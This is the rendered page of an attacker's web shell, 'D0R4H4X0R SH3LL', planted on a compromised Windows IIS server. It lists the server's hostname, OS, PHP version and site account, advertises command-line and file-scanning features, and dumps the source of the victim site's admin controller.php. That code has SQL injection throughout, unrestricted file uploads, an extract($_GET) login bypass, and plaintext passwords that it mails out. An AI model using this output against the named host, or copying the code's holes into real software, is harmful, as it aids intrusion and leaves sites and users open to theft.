D0R4H4X0R SH3LL
Server Information
Server: |
Microsoft-IIS/10.0 |
System: |
Windows NT BH-PLESK-WEB3 10.0 build 20348 (Windows Server 2022) AMD64 |
User: |
IWPD_8556(lensai) ( 0 ) |
PHP Version: |
8.3.21 |
Python Version: |
Python is not available |
Disabled Functions: | , Cron, Curl, Ftp, GCC, Mail, Mysql, PKEXEC, Perl, Python, SendMail, Ssh, Wget, exec, passthru, shell_exec, system |
Features
Command Line
Find Longest Directory Path
Scan New PHP Files
Current File : D:/INETPUB/VHOSTS/lensai.com/httpdocs/new/admin/controller.php
<?php
include_once 'config.php';
//----------------------------------Slider Area------------------------------------//
if(isset($_POST['addimg']))
{
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$attached=$_FILES['attached']['name'];
$textarea=$_POST['textarea'];
$category=$_POST['category'];
$random_digit=rand(0000,9999);
$newfilename=$random_digit.$filename;
$insert = "insert into slider(`name`,`firstline`)value('$newfilename','$textarea')";
$exe = mysqli_query($con,$insert);
$path = '../images/slider/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=slider');
}
if(isset($_GET['sliderid']))
{
$delete_id=$_GET['sliderid'];
$querry1="select * from slider where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$del_image=$row['name'];
unlink("../images/slider/$del_image");
$delete="delete from slider WHERE id='{$_GET['sliderid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=slider');
}
}
// Update Slider
if(isset($_POST['edit_slider']))
{
$id=$_POST['id'];
$img=$_POST['img'];
$random_digit=rand(0000,9999);
$newfilename=$random_digit.$_FILES['file']['name'];
$path = '../images/slider/';
if($newfilename)
{
unlink("../images/slider/$img");
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
$update = "update slider set`name`='$newfilename' where id='$id'";
$exe = mysqli_query($con,$update);
header('location:index.php?p=slider');
}
else
{
echo "File not Select";
}
}
//----------------------------------//Slider Area------------------------------------//
//----------------------------------thumbnail_slider------------------------------------//
if(isset($_POST['thumbnail_slider']))
{
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$insert = "insert into thumbnail_slider(`img`)value('$filename')";
$exe = mysqli_query($con,$insert);
$path = '../images/products_logo/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $filename);
header('location:index.php?p=slider');
}
if(isset($_GET['thumbnail_sliderid']))
{
$delete_id=$_GET['thumbnail_sliderid'];
$querry1="select * from thumbnail_slider where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$del_image=$row['img'];
unlink("../images/products_logo/$del_image");
$delete="delete from thumbnail_slider WHERE id='{$_GET['thumbnail_sliderid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=slider');
}
}
//----------------------------------//thumbnail_slider------------------------------------//
//----------------------------------Product in Inbox------------------------------------//
if(isset($_POST['productimg']))
{
$id=$_POST['id'];
$fname=$_POST['fname'];
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$path = '../images/';
if($filename)
{
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $filename);
$insert = "update product set`img`='$filename',`fname`='$fname' where id='$id'";
$exe = mysqli_query($con,$insert);
header('location:index.php');
}
else
{
echo "File Not Found";
//$insert = "update product set `fname`='$fname',`lname`='$lname' where id='$id'";
//$exe = mysqli_query($con,$insert);
//header('location:admin.php');
}
}
//----------------------------------//Product Section//------------------------------------//
//add Product
if(isset($_POST['add_product']))
{
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$attachment=$_FILES['attached']['name'];
$title=$_POST['title'];
$textarea=$_POST['textarea'];
$category=$_POST['category'];
$random_digit=rand(0000,9999);
$newfilename=$random_digit.$filename;
$attachment=$random_digit.$attachment;
$insert = "insert into product(`img`,`attachment`,`description`,`category`,`title`)value('$newfilename','$attachment','$textarea','$category','$title')";
$exe = mysqli_query($con,$insert);
$path = '../images/products_by_speciality/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=Product');
}
//Edit Product
if(isset($_POST['edit_product']))
{
$id=$_POST['id'];
$filename = $_FILES['file']['name'];
$attach_images = $_FILES['attach_image']['name'];
$title=$_POST['title'];
$category=$_POST['category'];
$meta=$_POST['meta'];
$textarea=$_POST['textarea'];
$random_digit=rand(0000,9999);
$newfilename=$random_digit.$filename;
$attach_image=$random_digit.$attach_images;
if($filename){
$update = "update product set `img`='$newfilename' , `description`='$textarea' , `title`='$title', `category`='$category', `meta`='$meta' where `id`='$id'";
$exe = mysqli_query($con,$update);
$path = '../images/products_by_speciality/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header("location:index.php?p=edit_product&productid=$id");
}
else{
if($attach_images){
$path = '../images/products_by_speciality/';
move_uploaded_file($_FILES["attach_image"]["tmp_name"], $path . $attach_image);
$update = "update product set `attach_image`='$attach_image' , `description`='$textarea' , `title`='$title', `category`='$category', `meta`='$meta' where `id`='$id'";
$exe = mysqli_query($con,$update);
header("location:index.php?p=edit_product&productid=$id");
}
else{
$update = "update product set `description`='$textarea' , `title`='$title', `category`='$category' , `meta`='$meta' where `id`='$id'";
$exe = mysqli_query($con,$update);
header("location:index.php?p=edit_product&productid=$id");
}
}
}
//Delete Products
if(isset($_GET['productid']))
{
$delete_id=$_GET['productid'];
$querry1="select * from product where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$del_image=$row['img'];
unlink("../images/products_by_speciality/$del_image");
$delete="delete from product WHERE id='{$_GET['productid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=Product');
}
}
//----------------------------------//Specification Section//------------------------------------//
//add specification
if(isset($_POST['add_specification']))
{
$img=$_FILES['image']['name'];
$random_digit=rand(0000,9999);
$image=$random_digit.$img;
$product=$_POST['product'];
$specification=$_POST['specification'];
$path = '../images/products_by_speciality/';
move_uploaded_file($_FILES["image"]["tmp_name"], $path . $image);
$insert = "insert into specification(`image`,`category`,`specification`)value('$image','$product','$specification')";
$exe = mysqli_query($con,$insert);
header('location:index.php?p=specification');
}
//Edit specification
if(isset($_POST['edit_specification']))
{
$id=$_POST['id'];
$product=$_POST['product'];
$specification=$_POST['specification'];
$update = "update specification set `category`='$product' , `specification`='$specification' where `id`='$id'";
$exe = mysqli_query($con,$update);
header("location:index.php?p=edit_specification&specificationid=$id");
}
//Delete specification
if(isset($_GET['specificationid']))
{
$delete_id=$_GET['specificationid'];
$querry1="select * from specification where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$delete="delete from specification WHERE id='{$_GET['specificationid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=specification');
}
}
//Product Attachment
if(isset($_POST['add_product_attach']))
{
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$category=$_POST['category'];
$random_digit=rand(0000,9999);
$newfilename=$random_digit.$filename;
$insert = "insert into product_attach(`img`,`category`)value('$newfilename','$category')";
$exe = mysqli_query($con,$insert);
$path = '../images/products_by_speciality/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=attachment');
}
if(isset($_GET['product_attach_id']))
{
$delete_id=$_GET['product_attach_id'];
$querry1="select * from product_attach where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$del_image=$row['img'];
unlink("../images/products_by_speciality/$del_image");
$delete="delete from product_attach WHERE id='{$_GET['product_attach_id']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=attachment');
}
}
//----------------------------------add Brochures------------------------------------//
if(isset($_POST['add_brochures']))
{
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$attachment=$_FILES['attached']['name'];
$title=$_POST['title'];
$category=$_POST['category'];
$random_digit=rand(0000,9999);
$attachment=$random_digit.$attachment;
$newfilename=$random_digit.$filename;
$insert = "insert into brochures(`img`,`title`,`category`)value('$newfilename','$title','$category')";
$exe = mysqli_query($con,$insert);
$path = '../images/brochures/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=brochures');
}
if(isset($_GET['brochuresid'])){
echo$delete_id=$_GET['brochuresid'];
$querry1="select * from brochures where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$del_image=$row['img'];
unlink("../images/brochures/$del_image");
$delete="delete from brochures WHERE id='{$_GET['brochuresid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=brochures');
}
}
//----------------------------------add Papers------------------------------------//
if(isset($_POST['add_papers']))
{
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$attachment=$_FILES['attached']['name'];
$title=$_POST['title'];
$category=$_POST['category'];
$random_digit=rand(0000,9999);
$attachment=$random_digit.$attachment;
$newfilename=$random_digit.$filename;
$insert = "insert into papers(`img`,`title`,`category`)value('$newfilename','$title','$category')";
$exe = mysqli_query($con,$insert);
$path = '../images/papers/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=papers');
}
if(isset($_GET['paperid'])){
$delete_id=$_GET['paperid'];
$querry1="select * from papers where id='$delete_id'";
$run=mysqli_query($con,$querry1);
while($row=mysqli_fetch_array($run))
{
$del_image=$row['img'];
unlink("../images/papers/$del_image");
$delete="delete from papers WHERE id='$delete_id'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=papers');
}
}
//----------------------------------Video------------------------------------//
if(isset($_POST['add_video']))
{
$title=$_POST['title'];
$link=$_POST['link'];
$category=$_POST['category'];
$insert = "insert into video (`title`,`link`,`category`)value('$title','$link','$category')";
$exe = mysqli_query($con,$insert);
header('location:index.php?p=video');
}
//Delete Video
if(isset($_GET['videoid']))
{
$delete="delete from video WHERE id='{$_GET['videoid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=video');
}
// Blog Area
if(isset($_POST['add_blog']))
{
date_default_timezone_set('Asia/Kolkata');
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$title=$_POST['title'];
$meta=$_POST['meta'];
$description=$_POST['textarea'];
$date= date("Y-m-d h:i:sa");
$random_digit=rand(0000,9999);
$attachment=$random_digit.$attachment;
$newfilename=$random_digit.$filename;
$insert = "insert into blog(`img`,`title`,`description`,`meta`,`date`)value('$newfilename','$title','$description','$meta','$date')";
$exe = mysqli_query($con,$insert);
$path = '../images/blog/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=blog');
}
// Edit Blog
if(isset($_POST['edit_blog']))
{
$id=$_POST['id'];
$filename = $_FILES['file']['name'];
$size = $_FILES['file']['size'];
$title=$_POST['title'];
$meta=$_POST['meta'];
$description=$_POST['textarea'];
$random_digit=rand(0000,9999);
$attachment=$random_digit.$attachment;
$newfilename=$random_digit.$filename;
if($filename){
$update = "UPDATE blog SET `img`='$newfilename' , `title`='$title' , `description`='$description' , `meta`='$meta' where`id`='$id' ";
$exe = mysqli_query($con,$update);
$path = '../images/blog/';
move_uploaded_file($_FILES["file"]["tmp_name"], $path . $newfilename);
header('location:index.php?p=edit_blog&blogid='.$id);
}
else{
$update = "UPDATE blog SET `title`='$title' , `description`='$description' , `meta`='$meta' where`id`='$id' ";
$exe = mysqli_query($con,$update);
header('location:index.php?p=edit_blog&blogid='.$id);
}
}
if(isset($_GET['blogid']))
{
$delete="delete from blog WHERE id='{$_GET['blogid']}'";
$exe=mysqli_query($con,$delete);
header('location:index.php?p=blog');
}
//----------------------------------//Concentrated Product------------------------------------//
if(isset($_GET['id']))
{
extract($_GET);
$test = mysql_query("select * from user where id='$id' and status='$status'");
if(mysql_num_rows($test)>0)
{
$row=mysql_fetch_array($test);
mysql_query("UPDATE user SET status='1' WHERE id='$id'");
$_SESSION['id']=$row['id'];
header('location:index.php');
}
else
{
header('location:login.php');
}
}
if(isset($_POST['forgot_password']))
{
$email=$_POST['email'];
$select="select * from user where email='$email'";
$query=mysqli_query($con,$select);
$result=mysqli_fetch_array($query);
$email1=$result['email'];
$fullname=$result['fullname'];
$username=$result['username'];
$password=$result['password'];
if($email1==$email)
{
$to = $email1;
$subject = "Pssword Recovery";
$message = "
<html>
<head>
<title>Contact Persone</title>
</head>
<body>
<p>Hello!... <b>$fullname</b></p>
<p>This is your Login Details</p>
<table>
<tr>
<th style='color:#235A81;' >Username: </th>
<th style='color:#56626D;' >$username</th>
</tr>
<tr>
<th style='color:#235A81;' >Password: </th>
<th style='color:#56626D;' >$password</th>
</tr>
</table>
</body>
</html>
";
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// More headers
$headers .= "From: $fullname <$email>\n";
mail($to,$subject,$message,$headers);
$_SESSION['Sendmail']="Please Check Your Email";
header('location:index.php');
}
else
{
$_SESSION['failmail']="Invalid Email address ";
header('location:forgot.php');
}
}
// Send Mail From Admin panel
if(isset($_POST['send_mail_from_admin']))
{
$email=$_POST['email'];
$username=$_POST['subject'];
$msg=$_POST['message'];
$to = $emai1;
$subject = $username;
$message = "
<html>
<head>
<title>Mail From Lensai</title>
</head>
<body>
<p>$msg</p>
</body>
</html>
";
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// More headers
$headers .= "From: $fullname <$email>\n";
mail($to,$subject,$message,$headers);
$insert = "insert into mailbox (`subject`,`message`,`category`,`mail_id`)value('$username','$msg','sent','$email')";
$exe = mysqli_query($con,$insert);
header('location:index.php?p=mailbox/sentbox');
}
if(isset($_POST['delete_mail_from_admin']))
{
echo $id=$_POST['id'];
exit();
}
// Quick Email
if(isset($_POST['quick_mail']))
{
$to=$_POST['emailto'];
$subject=$_POST['subject'];
$msg=$_POST['message'];
$message = "
<html>
<head>
<title>Mail From Lensai</title>
</head>
<body>
<p>$msg</p>
</body>
</html>
";
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// More headers
$headers .= 'From: '."Lensai Ophthalmic".'<mail@blackmeloncreative.com>' . "\r\n";
$headers .= 'Cc: myboss@example.com' . "\r\n";
mail($to,$subject,$message,$headers);
header('location:index.php');
}
// Quick Email
if(isset($_POST['contact_us']))
{
$to="info@lensai.in";
$subject="New mail from Lensai.com";
$name=$_POST['name'];
$email=$_POST['email'];
$phone=$_POST['phone'];
$msg=$_POST['comments'];
$message = "
<html>
<head>
<title>Mail From Lensai</title>
</head>
<body>
<table>
<tr>
<td>Name:</td>
<td>$name</td>
</tr>
<tr>
<td>Email:</td>
<td>$email</td>
</tr>
<tr>
<td>Phone No.:</td>
<td>$phone</td>
</tr>
<tr>
<td>Message:</td>
<td>$msg</td>
</tr>
</table>
</body>
</html>
";
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
// More headers
$headers .= 'From: '."Lensai Ophthalmic".'<lensai@lensai.com>' . "\r\n";
mail($to,$subject,$message,$headers);
$_SESSION['success_message']="<p style='color: #337ab7;'>Thank you for contacting us.</p><p style='color: #337ab7;'>We will get back to you soon.</p>";
header('location:../contact.php');
}
?>
D0R4H4X0R SH3LL